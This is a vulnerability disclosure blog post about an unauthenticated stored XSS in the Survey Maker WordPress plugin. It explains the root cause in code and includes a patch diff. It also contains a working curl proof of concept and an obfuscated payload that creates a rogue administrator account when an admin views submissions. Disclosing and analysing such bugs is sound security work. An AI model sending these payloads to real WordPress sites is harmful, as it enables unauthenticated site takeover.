Skip to content

Survey Maker <= 5.2.2.5: Unauthenticated Stored XSS via Time-Based Answers

TL;DR

  • I found an unauthenticated stored XSS in Survey Maker, a WordPress survey plugin with around 6,000 active installs.
  • An attacker could submit a malicious answer to any public survey containing a time question, with no account, login, or nonce required.
  • The answer was stored without sanitisation and later rendered in the wp-admin submissions page without output escaping.
  • When an administrator viewed the poisoned submission, the JavaScript ran in their authenticated session, and in testing it created a new administrator account.
  • The bug affects Survey Maker <= 5.2.2.5 and was patched in 5.2.2.6 under a vague changelog line.
  • The report was still rejected as a false positive, because triage reviewed the already-patched code instead of the version I reported 12+ weeks ago (5.2.1.2). No CVE, no bounty.

Summary

Survey Maker stored unauthenticated time and date_time survey answers without sufficient sanitisation, then rendered them in the WordPress admin submissions interface without output escaping.

  • CVE: None assigned
  • Product: Survey Maker
  • Vulnerability: Unauthenticated Stored Cross-Site Scripting
  • Affected Versions: <= 5.2.2.5
  • Fixed In: 5.2.2.6
  • CVSS Severity: 6.1 (medium)
  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Required Privilege: None

An unauthenticated attacker could submit a malicious answer to a public survey containing a time question. The plugin stored that answer verbatim, then rendered it inside the admin submissions UI without escaping. Triggering it required an administrator to view the submission, but the attacker needed no account, nonce, or WordPress login.

Introduction / Rant

A bit of a disappointing writeup today! 😞 I reported this vulnerability to Wordfence on the 15th of March, 2026. Over three months later, on the 27th May, I received a confusing response.

After reviewing your report against the actual plugin source code (version 5.2.2.7), we have determined this is a false positive.

OK.. but that plugin version was released yesterday, how was I supposed to test against that three months ago? 😅 I double checked my PoC actually worked on the old version (5.2.1.2) and I hadn't sent some slop report (I verified it, I swear 😭). It did, but I thought OK maybe the triager just made a mistake? Maybe it was an automated AI triage?

I tested against the latest version and it did not work, so I traced through the versions to see when it was patched. The culprit was version 5.2.2.6, released on the 21st of May with the following changelog entry:

Improved: Sanitization and display handling for submitted survey answers

In other words, if triage had kicked in just six days earlier, it would have been a valid bug 😩 Since it wasn't, I was ineligible for a bounty, CVE, or even a boost in platform stats (you only unlock new tiers from "valid" reports, not "rejected" false positives). OK, I can deal with that - the potential bounty would have been small ($14-56) due to a low active install count (6k), and CVEs aren't hard to come by these dAIs.

What is harder for me to deal with is the fact report's validity depend on how busy the triage queue is. When you get a duplicate it sucks, but it doesn't feel unfair. Someone else beat you to it, and next time you might beat them. More importantly; at least somebody got the bounty, and credit for their hard work.

Of course, I totally appreciate how overwhelmed triagers are (on all platforms), and in my experience the staff at Wordfence have always been very friendly - I'm not blaming them or anything. I don't even mind my reports waiting 3+ months for triage, I'm happy to "report and move on" with the understanding they will be triaged eventually. I just firmly believe bugs should be triaged against whatever was the latest at the time of reporting, not after the vendor has had several months to patch the bug.

Anyway, rant over! Let's get on with the writeup 😊

Root Cause Analysis

Public AJAX Entry Point

Survey Maker registers the same AJAX action in includes/class-survey-maker.php for logged-in and logged-out users:

// includes/class-survey-maker.php
$this->loader->add_action( 'wp_ajax_ays_survey_ajax', $plugin_public, 'ays_survey_ajax' ); // [1]
$this->loader->add_action( 'wp_ajax_nopriv_ays_survey_ajax', $plugin_public, 'ays_survey_ajax' ); // [2]

The wp_ajax_ hook at [1] covers logged-in users, while the wp_ajax_nopriv_ hook at [2] covers logged-out visitors. The nopriv registration is expected for a public survey plugin, since visitors need to submit surveys. The problem is what happens after an answer reaches the storage and rendering path.

The AJAX dispatcher in public/class-survey-maker-public.php reads the requested function from $_REQUEST and routes ays_finish_survey to the survey submission handler:

// public/class-survey-maker-public.php
public function ays_survey_ajax(){
    $function = isset($_REQUEST['function']) ? $_REQUEST['function'] : null; // [3]
    if($function !== null){
        $data = $_REQUEST;
        unset($data['action']);
        unset($data['function']);
        switch ($function) {
            case 'ays_finish_survey':
                $results = $this->ays_finish_survey( $data ); // [4]
                break;
        }
    }
}

The source is unauthenticated request data at [3], which reaches the survey completion flow at [4].

Raw Storage For Time Answers

Inside add_results_to_db(), Survey Maker switches on the submitted question type. In 5.2.1.2, the time branch is grouped with number, phone, and date:

// public/class-survey-maker-public.php
case "number":
case "phone":
case "date":
case "time":
    $user_answer = $question_answer; // [5]
    $answer_id = 0;
    break;

The assignment at [5] is the storage bug. There is no sanitize_text_field(), no scalar check, and no HTML stripping before the value is inserted into wp_ayssurvey_submissions_questions.

The date_time branch is also awkward. If the answer is an array, it sanitises both fields. If it is not an array, it falls back to the same raw assignment at [6]:

// public/class-survey-maker-public.php
case "date_time":
    if(is_array($question_answer) && ($question_answer['date'] != '' || $question_answer['time'] != '')){
        $question_answer['date'] = $question_answer['date'] != '' ? stripslashes( sanitize_text_field( $question_answer['date'] ) ) : '-';
        $question_answer['time'] = $question_answer['time'] != '' ? stripslashes( sanitize_text_field( $question_answer['time'] ) ) : '-';
        $user_answer = implode(" " , $question_answer);
    }
    else{
        $user_answer = $question_answer; // [6]
    }
    $answer_id = 0;
    break;

The database insert uses $wpdb->insert() with %s, so this is not SQL injection. The issue is that SQL-safe text can still be unsafe HTML.

Retrieval Missed The Time Branches

Looking back to 2023, CVE-2023-0038 fixed an unauthenticated stored XSS via Survey Maker answers in versions up to 3.1.3, by adding output encoding to the catch-all answer retrieval branch. As we'll see, that fix only hardened the catch-all branch and left the dedicated time and date_time branches untouched.

In 5.2.1.2, ays_survey_individual_results_for_one_submission() in admin/class-survey-maker-admin.php still has special handling for date, time, and date_time:

// admin/class-survey-maker-admin.php
elseif( $individual_questions_result['type'] == 'time' ){
    if( $individual_questions_result['user_answer'] != '' ){
        $question_answer_id[ $individual_questions_result['question_id'] ]['answer'] =
            implode(" : ", explode( ":", $individual_questions_result['user_answer'] )); // [7]
    }
}

The time branch at [7] transforms colons into :, but does not encode HTML.

The date_time branch encodes the date portion, but appends the time portion without encoding:

// admin/class-survey-maker-admin.php
elseif( $individual_questions_result['type'] == 'date_time' ){
    if( $individual_questions_result['user_answer'] != '' ){
        $user_date_time_answer = explode(" ", $individual_questions_result['user_answer'] );
        if((isset($user_date_time_answer[0]) && $user_date_time_answer[0] != '-') && (isset($user_date_time_answer[1]) && $user_date_time_answer[1] != '-')){
            $question_answer_id[ $individual_questions_result['question_id'] ]['answer'] =
                date( 'd . m . Y', strtotime(nl2br(htmlentities($user_date_time_answer[0]))) )
                . " "
                . implode(" : ", explode( ":", $user_date_time_answer[1] )); // [8]
        }
    }
}

The catch-all branch does encode:

// admin/class-survey-maker-admin.php
else{
    $question_answer_id[ $individual_questions_result['question_id'] ] =
        stripslashes(htmlentities($individual_questions_result['user_answer'])); // [9]
}

That made this feel like a sibling-path miss from the earlier fix. The generic text answers had been hardened at [9], but the separate time and date_time branches still had their own unescaped output paths at [7] and [8].

Admin HTML Sinks

The server-rendered submissions template survey-maker-each-submission-display.php treats both time at [10] and date_time at [11] as text-like answer types:

// admin/partials/submissions/survey-maker-each-submission-display.php
$text_types = array(
    'text',
    'short_text',
    'number',
    'phone',
    'name',
    'email',
    'date',
    'time',      // [10]
    'date_time', // [11]
);

When a question type is in that list, the answer is concatenated directly into HTML:

// admin/partials/submissions/survey-maker-each-submission-display.php
if( in_array( $question['type'], $text_types ) ){
    $question_type_content .= '<div class="ays_each_question_answer">
        <p class="ays_text_answer">' . $user_answer . '</p> // [12]
    </div>';
}

The per-submission partial survey-maker-each-submission-individual.php has the same pattern:

// admin/partials/submissions/partials/survey-maker-each-submission-individual.php
$question_type_content .= '<div class="ays_each_question_answer">
    <p class="ays_text_answer">' . $user_answer . '</p> // [13]
</div>';

There is also a client-side sink in admin/js/survey-maker-admin.js when the admin browses submissions:

// admin/js/survey-maker-admin.js
case 'date':
case 'time':
case 'date_time':
    surveyAnswer = questionsData[qId];
    var elem = question.find('.ays_text_answer');
    if( typeof surveyAnswer === 'string' ){
        surveyAnswer = surveyAnswer;
    }else{
        surveyAnswer = surveyAnswer.answer;
    }
    elem.html( surveyAnswer ); // [14]
    break;

The PHP sinks at [12] and [13] are enough for page-load XSS. The jQuery .html() call at [14] gives a second raw HTML rendering path during admin-side navigation.

Exploitation

Preconditions

  • Survey Maker <= 5.2.2.5 is active.
  • A published survey contains a time question.
  • The attacker can see the public survey page.
  • An administrator later views the submitted survey results.

The attacker does not need a WordPress account. The survey ID, question ID, and section ID are visible in the public survey form markup.

Manual Request

The public form uses namespaced field names containing a unique_id. The PoC below uses the same parameter structure as the frontend JavaScript form submission:

UNIQ=$(openssl rand -hex 8)

curl -s -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=ays_survey_ajax" \
  -d "function=ays_finish_survey" \
  -d "unique_id=${UNIQ}" \
  -d "ays-survey-id-${UNIQ}=SURVEY_ID" \
  --data-urlencode "ays-survey-answers-${UNIQ}[QUESTION_ID][answer]=<svg onload=alert(document.domain)>" \
  -d "ays-survey-questions-${UNIQ}[QUESTION_ID][questionType]=time" \
  -d "ays-survey-questions-${UNIQ}[QUESTION_ID][section]=SECTION_ID" \
  -d "end_date=2026-01-01 00:00:00"

Expected response:

{ "status": true, "message": "<p>Thank you for completing this survey.</p>\n", "limited": false, "socialHeading": "" }

The payload is stored in the database:

SELECT user_answer
FROM wp_ayssurvey_submissions_questions
WHERE type='time'
ORDER BY id DESC
LIMIT 1;

-- <svg onload=alert(document.domain)>

When the admin views the submission, the page contains:

<p class="ays_text_answer"><svg onload=alert(document.domain)></p>

That fires immediately when the admin submissions page loads.

Payload Constraints

WordPress applies slashes to request data. Quote-heavy payloads get mangled:

<img src=x onerror=\"alert(1)\">

Those backslashes break many attribute-based payloads. A quoteless SVG payload is cleaner:

<svg onload="alert(document.domain)"></svg>

For the weaponised payload, I used eval(atob(...)) because the base64 alphabet avoids quotes and most punctuation that can be damaged by slashing or by the plugin's explode(":") / implode(" : ") time formatting.

Manual Browser Demo

First, a clean WordPress test site with Survey Maker installed:

WordPress test site used for the Survey Maker stored XSS reproduction

The public survey contains a time-based field. For the manual test, I used devtools to set the field value to the SVG payload:

document.querySelector('input[name*="[8][answer]"]').value = "<svg onload=alert(document.domain)>";

Injecting the SVG onload payload into the Survey Maker time answer field using browser devtools

After submission, the frontend returns the normal thank-you message:

Survey Maker frontend showing successful survey submission after the payload was stored

When the administrator opens Survey Maker submissions, the alert fires:

Stored XSS alert firing in the WordPress admin submissions page

The admin path is Survey Maker -> Submissions, then the poisoned survey:

WordPress admin menu showing the Survey Maker submissions area

The poisoned survey appears in the submissions list:

Survey Maker submissions list showing unread results for the poisoned survey

Impact: Admin Account Creation

Of course, we can do more than pop an alert! The script runs in the admin's authenticated WordPress session and can perform nonce-protected actions by fetching the relevant admin page first.

The payload below creates a new administrator account after the admin views the poisoned submission:

<svg
    onload="eval(atob(`ZmV0Y2goIi93cC1hZG1pbi91c2VyLW5ldy5waHAiKS50aGVuKHI9PnIudGV4dCgpKS50aGVuKGg9PntsZXRbLG5dPWgubWF0Y2goL3dwbm9uY2VfY3JlYXRlLXVzZXIuKj92YWx1ZT0uKC57MTB9KS8pO2xldCBmPW5ldyBGb3JtRGF0YTtmLmFwcGVuZCgiX3dwbm9uY2VfY3JlYXRlLXVzZXIiLG4pO2YuYXBwZW5kKCJhY3Rpb24iLCJjcmVhdGV1c2VyIik7Zi5hcHBlbmQoInVzZXJfbG9naW4iLCJwd25lZCIpO2YuYXBwZW5kKCJlbWFpbCIsInB3bmVkQGV2aWwuY29tIik7Zi5hcHBlbmQoInBhc3MxIiwiUHduZWQxMjMiKTtmLmFwcGVuZCgicGFzczIiLCJQd25lZDEyMyIpO2YuYXBwZW5kKCJyb2xlIiwiYWRtaW5pc3RyYXRvciIpO2ZldGNoKCIvd3AtYWRtaW4vdXNlci1uZXcucGhwIix7bWV0aG9kOiJQT1NUIixib2R5OmZ9KX0p`))"
></svg>

Decoded JavaScript:

fetch("/wp-admin/user-new.php")
    .then((r) => r.text())
    .then((h) => {
        let [, n] = h.match(/wpnonce_create-user.*?value=.(.{10})/);
        let f = new FormData();
        f.append("_wpnonce_create-user", n);
        f.append("action", "createuser");
        f.append("user_login", "pwned");
        f.append("email", "pwned@evil.com");
        f.append("pass1", "Pwned123");
        f.append("pass2", "Pwned123");
        f.append("role", "administrator");
        fetch("/wp-admin/user-new.php", { method: "POST", body: f });
    });

WordPress authentication cookies are HttpOnly, so this is not a cookie-theft demo. It does not need to be. The XSS can make authenticated requests as the admin directly.

Patch Diffing

Survey Maker 5.2.2.6 was released on May 21, 2026, under the vague changelog line quoted earlier. The actual patch changed both storage and PHP template output.

Storage Sanitisation

In public/class-survey-maker-public.php, 5.2.2.6 adds sanitisation across several answer types. The relevant time change is small:

 case "number":
 case "phone":
 case "date":
+    $user_answer = is_scalar( $question_answer ) ? sanitize_text_field( $question_answer ) : '';
+    $answer_id = 0;
+    break;
 case "time":
-    $user_answer = $question_answer;
+    $user_answer = is_scalar( $question_answer ) ? sanitize_text_field( $question_answer ) : '';
     $answer_id = 0;
     break;

The date_time fallback was also hardened:

 case "date_time":
-    if(is_array($question_answer) && ($question_answer['date'] != '' || $question_answer['time'] != '')){
-        $question_answer['date'] = $question_answer['date'] != '' ? stripslashes ( sanitize_text_field( $question_answer['date'] ) ) : '-';
-        $question_answer['time'] = $question_answer['time'] != '' ? stripslashes ( sanitize_text_field( $question_answer['time'] ) ) : '-';
-        $user_answer = implode(" " , $question_answer);
+    if( is_array( $question_answer ) ){
+        $question_answer_date = isset( $question_answer['date'] ) && is_scalar( $question_answer['date'] ) && $question_answer['date'] != '' ? stripslashes( sanitize_text_field( $question_answer['date'] ) ) : '-';
+        $question_answer_time = isset( $question_answer['time'] ) && is_scalar( $question_answer['time'] ) && $question_answer['time'] != '' ? stripslashes( sanitize_text_field( $question_answer['time'] ) ) : '-';
+        $user_answer = $question_answer_date != '-' || $question_answer_time != '-' ? $question_answer_date . ' ' . $question_answer_time : '';
     }
     else{
-        $user_answer = $question_answer;
+        $user_answer = is_scalar( $question_answer ) ? sanitize_text_field( $question_answer ) : '';
     }
     $answer_id = 0;
     break;

This is the core confirmation. The previously raw time assignment was changed to sanitize_text_field() in the first version released after 5.2.2.5.

Template Escaping

The main submissions template now escapes the answer before concatenating it into HTML:

 if( in_array( $question['type'], $text_types ) ){
+    $user_answer_html = esc_html( html_entity_decode( (string) $user_answer, ENT_QUOTES, get_bloginfo( 'charset' ) ) );
     $question_type_content .= '<div class="ays_each_question_answer">
-        <p class="ays_text_answer">' . $user_answer . '</p>
+        <p class="ays_text_answer">' . $user_answer_html . '</p>
     </div>';
 }

The per-submission partial received the same treatment:

+$user_answer_html = esc_html( html_entity_decode( (string) $user_answer, ENT_QUOTES, get_bloginfo( 'charset' ) ) );
 $question_type_content .= '<div class="ays_each_question_answer">
-    <p class="ays_text_answer">' . $user_answer . '</p>
+    <p class="ays_text_answer">' . $user_answer_html . '</p>
 </div>';

That closes the page-load PHP rendering path even if old data is still present.

Remediation

Update Survey Maker to 5.2.2.6 or later. If you cannot update immediately, unpublish any surveys containing time or date_time questions, and avoid opening the Survey Maker submissions page until the plugin is patched.

Disclosure Timeline

  • March 10, 2026: Survey Maker 5.2.1.2 released. This is the tested vulnerable version.
  • March 15, 2026: Report submitted.
  • May 20, 2026: Survey Maker 5.2.2.5 still vulnerable.
  • May 21, 2026: Survey Maker 5.2.2.6 released and silently patches the exact bug under the vague changelog line.
  • May 26, 2026: Survey Maker 5.2.2.7 released.
  • May 27, 2026: Report rejected as a false positive, citing 5.2.2.7 code as evidence.
  • Bounty: $0.
  • CVE: None.

Conclusion

That's it folks! time and date_time answers were stored raw, the admin retrieval branches never got the CVE-2023-0038 encoding fix, and the submissions page printed them straight into HTML. One quoteless SVG payload was enough to run JavaScript in an admin's session and create a new admin account.

RE: Rant, I've has several more of these "false positives" since this incident. For now I'm spending less time looking at wordpress plugins, at least until the backlog is cleared!

References